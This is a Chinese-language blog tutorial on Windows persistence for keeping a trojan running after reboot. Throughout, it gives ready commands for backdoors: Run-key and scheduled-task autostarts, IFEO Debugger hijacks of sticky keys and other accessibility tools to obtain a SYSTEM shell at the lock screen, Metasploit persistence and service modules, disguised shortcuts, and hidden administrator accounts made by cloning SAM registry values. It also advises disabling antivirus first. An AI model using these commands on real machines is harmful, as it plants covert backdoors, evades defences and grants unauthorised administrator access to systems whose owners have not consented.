admin管理员组

文章数量:1592244

文章目录

  • 注册表
    • 自启类
      • 添加方法
      • 说明
    • msf使用注册表维持
    • 手动触发类
      • 使用方法
      • 常用劫持软件
      • 其他触发方法
      • 其他劫持方法
    • Msf自动劫持
  • 计划任务(schtasks)
    • 命令行使用计划任务
  • Windows服务
    • msf添加服务
  • 启动目录
  • 其他思路
    • 快捷方式
    • 添加用户
  • msf其他技巧

权限维持的核心目的是让我们的木马病毒持续在线,不会因为系统重启,用户注销或者其他特殊原因下线。在Windows系统中我们可以利用注册表,计划任务,或者留下一个我们自己创建的账户来实现的重启后攻击载荷自动上线的目的。

注册表

启动方式:

  1. Windows键+R: regedit
  2. Windows键+S: 注册表

下述五个注册表根文件从Windows最初的注册表一直继承到Windows11从未改变,我们一般只会用到其中两个配置文件。

  • HKEY_LOCAL_MACHINE:所有用户的配置文件
  • HKEY_CURRENT_USER:当前登录用户的配置文件
  • HKEY_USERS:包含所有加载的用户配置文件
  • HKEY_CLASSES_ROOT:包含所有已注册的文件类型、OLE等信息
  • HKEY_CURRENT_CONFIG:启动时系统硬件配置文件

自启类

  1. 永久开机自启:
    当前用户: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run(第二个地址中默认不携带Run文件夹,需要手动添加)
    所有用户: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run(同上)
  2. 单次开机自启:
    当前用户:
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    所有用户:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

添加方法

  1. 可视化添加
    1. 首先启动注册表,并且进入到上述位置中(按需要任意一个即可)
    2. 新建字符串值
    3. 将数值数据改为自启程序绝对路径即可
  2. 命令行添加,常用命令:
    1. 查询注册表信息: reg query 路径 [/v 名称]
      如: reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    2. 添加注册表: reg add /v 名称 /t 类型 /d 路径
      reg add HKLM\software\microsoft\windows\currentversion\run /v 测试 /t REG_SZ /d “C:\Users\xun_m\Desktop\网安测试\开机自启信息监测.exe”(ps: 不存在的路径会自动创建,HKLM==HKEY_LOCAL_MACHINE, 添加命令需要使用管理员权限的命令行! 新建字符串值得类型就是REG_SZ)
    3. 删除注册表: reg delete 路径 [/v 名称]
      reg delete HKLM\software\microsoft\windows\currentversion\run /v 测试
    4. 更多用法: REG /?

说明

  1. 开机自启的软件默认的执行目录是C:\Windows\System32
    我写了个Python脚步用来测试开机用户和当前权限状态的,开机自启生成的文件会出现在C:\Windows\System32中!
import ctypes
import getpass
import os
import datetime
import sys


def 管理员权限检测():
    try:
        if ctypes.windll.shell32.IsUserAnAdmin():
            return True
        else:
            return False
    except:
        return False


if not 管理员权限检测():
    # 尝试获取管理员权限
    用户管理控制UAC = ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    if 用户管理控制UAC == 42:
        用户管理控制UAC = '已获取用户管理控制UAC'
    elif 用户管理控制UAC == 5:
        用户管理控制UAC = '!!!未获取用户管理控制UAC'
    else:
        用户管理控制UAC = '未知状况'
else:
    用户管理控制UAC = '使用管理员启动!'

格式化运行时间 = datetime.datetime.now().strftime('%m月%d日%H时%M分%S秒') + '.txt'

with open(格式化运行时间, 'a') as 写文件:

    写入内容 = f'写入时间: {datetime.datetime.now()}\n' + f'当前用户 (模式一:){getpass.getuser()}(模式二:){os.environ["USERNAME"]}\n{用户管理控制UAC} '
    写文件.write(写入内容)
    print(写入内容)


input('输入任意按键退出')

  1. 在较新的系统中,RunRunOnce分别是永久自启和一次自启,RunOnce中的自启项会在首次执行后自行删除。而网上很多博客中又指出,在Windows7以及之前的老系统中,RunRunOnce分别代表的是异步启动和同步启动,同步启动的注册表会按照顺序一个一个启动,假设中间有一个启动项内部出现了死循环这样的情况,会导致系统无法启动!
  2. 添加到Run中的注册表自启项,会被系统监控和报告,但添加到RunOnce则不会!(当前测试系统为Windows11,不确定其他系统也会这样!)

msf使用注册表维持

PS: msf这个模块不需要管理员权限即可运行!
早期msf版本中,我们进入目标meterpreter中,输入run persistence即可,不过在新版msf中,已经不推荐此类方法,并且随时准备弃用此方法

当前(msf6)exploit/windows/local/persistence模块作为上述模块的替代品,使用方法也很简单,

  1. 进入模块
  2. 选择需要权限维持(session)的meterpreter,需要的话在给注册表起一个名字(REG_NAME)
  3. 运行
use exploit/windows/local/persistence
set session 2
set REG_NAME xunmi
run

这时候目标主机的注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\xunmi中就会被我们添加一个自启项。
PS:如果重启无法维持权限,可以尝试更换存放目录,当前默认目录为%TEMP%: C:\Users\用户名\AppData\Local\Temp。如果我们有system权限,可以尝试放入C:\\Windows\\System32文件夹中

set vbs_name xun_mi.vbs
set PATH C:\\Windows\\System32
run

``

手动触发类

开机自启属于自动触发,但也容易被用户发现和察觉,并且我们可能并非需要后门一直运行。这时候就需要用到系统辅助工具,比如说屏幕键盘,放大镜,屏幕阅读器这类IFEO(Image File Execution Options)的应用,其中有部分存在于Windows白名单中,可以直接使用最高权限运行。我们主要是通过debugger参数进行偷梁换柱。

使用方法

这里我使用Excel表格进行原理演示

  1. 打开注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options路径
  2. 在目标程序中添加已Debugger命名的字符串值,值就是我们需要劫持启动的程序!
  3. PS: 这里必须已Debugger命名,非此命名无法使用!!!

常用劫持软件

PS: 杀毒软件会自动拦截这类修改!使用此方法前务必保证已关闭杀毒软件!

  1. 辅助工具管理器(utilman.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  2. 讲述人(narrator.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f(Windows11将讲述人改为了开关按钮,算是已经失效了!)
  3. 放大镜(magnify.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  4. 屏幕键盘(osk.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  5. 粘滞键(sethc.exe): REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

下图演示为劫持辅助工具管理器


优点:
6. 可以在任意界面执行,甚至可以在锁屏界面使用最高权限(system)执行!
7. 方便使用,只需要一行命令即可部署
缺陷:
8. 容易被杀毒软件拦截

其他触发方法

除了上述启动劫持的触发方法外,我们还可以使用关闭触发,指定监控某个进程,在其关闭时候触发使用,这里我还是拿粘滞键做演示
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
在进程退出时静默触发(SilentProcessExit):
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe"

其他劫持方法

覆盖原文件执行劫持.下面我会用粘滞键来演示!
PS:这种方法不建议使用,因为其中有一些不可逆的步骤!这里记得将要覆盖的文件做一个副本备份一下,以免出现问题!
如果你想直接改个名字就进行覆盖,则会出现如下所示问题,就算你是管理员也无法直接移动,因为这个文件夹默认情况下只有TrustInstall用户拥有所有权限

解决上面的问题也很简单,只需要我们把权限给到自己即可,首先我们打开System32文件夹的属性,在安全中找到下面的高级按钮,更改所有者,这里我们把所有者改成当前登录的用户即可!

做完上述操作,我们还是在属性的安全中,将Users用户组的权限编辑为完全控制即可。

优点: 不容易被杀毒软件发现
缺陷: 会产生不可逆的改变, 无法调用管理员权限(在锁屏界面虽然是使用system身份运行,但并非使用管理员权限运行)

Msf自动劫持

use post/windows/manage/sticky_keys

PS: 这里同样支持多种劫持,默认的粘滞键劫持,不过这种方法需要我们使用管理员权限的用户才能正常执行!!不过MSF的劫持也容易被杀软拦截。

计划任务(schtasks)

计划任务在命令行中输入schtasks或者使用Windows键+S搜索任务计划程序即可

命令行使用计划任务

schtasks命令详解: https://lanlan2017.github.io/blog/b1b65659/
这里我会介绍一些比较常用的命令,如果有其他需求,可以根据查看详细命令文档!
首先,添加(/create)和删除(/delete)使我们最常用的命令,其中删除命令较为简单,格式为: schtasks /delete /tn 计划任务名
而添加命令相对复杂的多,比如这里我创建一个定时任务(schtasks /create)每间隔一(/mo 1)分钟(/sc MINUTE)启动一下1.exe程序(/tr C:\Users\xun_m\Desktop\网安测试\1.exe)并且命名为测试(/tn 测试),schtasks /create /sc MINUTE /mo 1 /tr C:\Users\xun_m\Desktop\网安测试\1.exe /tn 测试
其中/sc的类型比较多,分为:
/sc: MINUTE(分钟)HOURLY(小时)DAILY(每日)WEEKLY(每周)MONTHLY(每月)ONCE(一次)ONSTART(启动)ONLOGON(登录)ONIDLE(结束)ONEVENT(暂不知道什么用。)
这里我们可以使用ONLOGON参数来达到开机自启的效果schtasks /create /sc ONLOGON /tr C:\Users\xun_m\Desktop\网安测试\开机自启信息监测.exe /tn 自动启动测试
ONLOGON是在登录用户后触发,ONSTART是在系统启动时触发但因为只有拥有system权限的程序才能在用户注销时正常使用,所以如果我们使用了ONSTART来实现开机自启,很可能会碰到无法正常启动的情况!

Windows服务


sc命令详解: https://blog.csdn/qq_42428264/article/details/106052166
这里我们一般只需要知道添加服务即可,命令也比较简洁,添加服务命令sc create [服务名] binPath= 启动路径
比如sc create 自启测试 binPath= C:\Users\xun_m\Desktop\网安测试\1.exe

msf添加服务

同样在msf6之后推荐使用一下模块,老版本的run metsvc -h随时都可能被弃用,并且不再维护,建议使用下述方法。

use exploit/windows/local/persistence
或
use exploit/multi/handler
set payload windows/metsvc_bind_tcp

这里和之前添加注册表自启的程序是比较相似的,也是需要我们设置sessions,不过西安么我们可以选择一个启动类型(STARTUP)可以直接以最高权限(system)启动攻击载荷

不过很不幸当前Windows11杀软关闭后重启又会被自动开启,所以很容易被Windows11的杀软给干掉了…不过我测试的老系统,必然Windows7就还是可以的。

启动目录

Windows系统下存在特殊的启动目录,重启时会自动执行其中所有程序。
针对指定用户: C:\Users\{用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
针对所有用户: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
放在其中的应用并不会现在启动项中(下图中的浏览器是我修改了图标的cmd快捷方式)

其他思路

除了上述外,还有一些方法,虽然不能实现自动化的开机自启,但也可以作为权限维持的方法!

快捷方式

我们可以修改快捷方式的形式来引诱目标启动我们的木马程序,我们知道快捷方式(.lnk)格式是已一种链接的方式启动目标软件,这里我们只需要将命名和图标伪装成用户常用软件即可,系统应用大多数图标都在%SystemRoot%\System32\SHELL32.dll中,如果需要其他图标也可以自行添加

添加用户

首先为了降低被用户发现的可能,我们尽量都适用一些特殊的方法来添加新用户

  1. 添加隐藏用户
    用户名结尾处带$字符的用户会被系统自动当成隐藏账户,这种账户在登录时候不会显示,不过可以在账户管理的时候看见
    可以使用命令行添加比如: net user 账户名$ 密码 /add && net localgroup administrators 账户名$ /add
    隐藏用户主要是隐藏了命令行(net user)中查询看见的!

  2. 激活访客(Guest)用户
    net user guest 密码 && net localgroup administrators guest /add && net user guest /active:yes(给访客用户添加密码,并将其添加进入管理员组,将访客改为活跃用户!)
    PS: 不过因为上述方法在较新的Windows中都已经失效了(Windows10,11屏蔽了访客用户,激活后还是无法使用,并且隐藏用户还是会和常规用户一样显示出来)

  3. 添加后门账户

    1. 先添加一个隐藏用户net user defaultuser0$ pass /add /y && net localgroup administrators defaultuser0$ /add
    2. 替换隐藏用户的注册表,不过我们先要将SAM(HKEY_LOCAL_MACHINE\SAM\SAM)文件夹中的完全控制权限给管理员用户组(Administrator)然后重新打开注册表编辑器
    3. 然后进入HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users就可以看到当前电脑所有的用户,当前用户名中有个二进制值,对应上述存储的数据
    4. 这里我们将我们的隐藏用户和其对应的值都导出,在选择一个管理员用户的值也进行导出
    5. 将管理员的"F"值替换到隐藏用户中!

      然后我们在将隐藏用户导入即可regedit /s 隐藏用户值regedit /s 隐藏用户名(点击导入也行),这样的用户不仅不会显示在管理账户中,并且和我们赋值的管理员会有很多相似的地方,会共用一个登陆桌面!

      不过需要注意的是:这个用户无法使用命令行直接删除,需要在注册表里手动删除,这个隐藏用户因为使用了赋值管理员的桌面,所以两人不能同时在线!

PS: 使用net localgroup "remote desktop users" 用户名 /add可以将其添加进入到远程桌面用户组中。(一般管理员组的用户默认都能进行远程连接)

msf其他技巧

这里我们可以使用msf的handle模块自动执行权限维持模块
exploit/multi/handler

# 自动执行持续化脚本(注册表)
set AutoRunScript persistence -r IP地址 -p 端口 -U -X -i 30
# 自动执行持续化脚本(服务)
set AutoRunScript metsvc -A
# 启动
run

本文标签: 后门权限测试Windows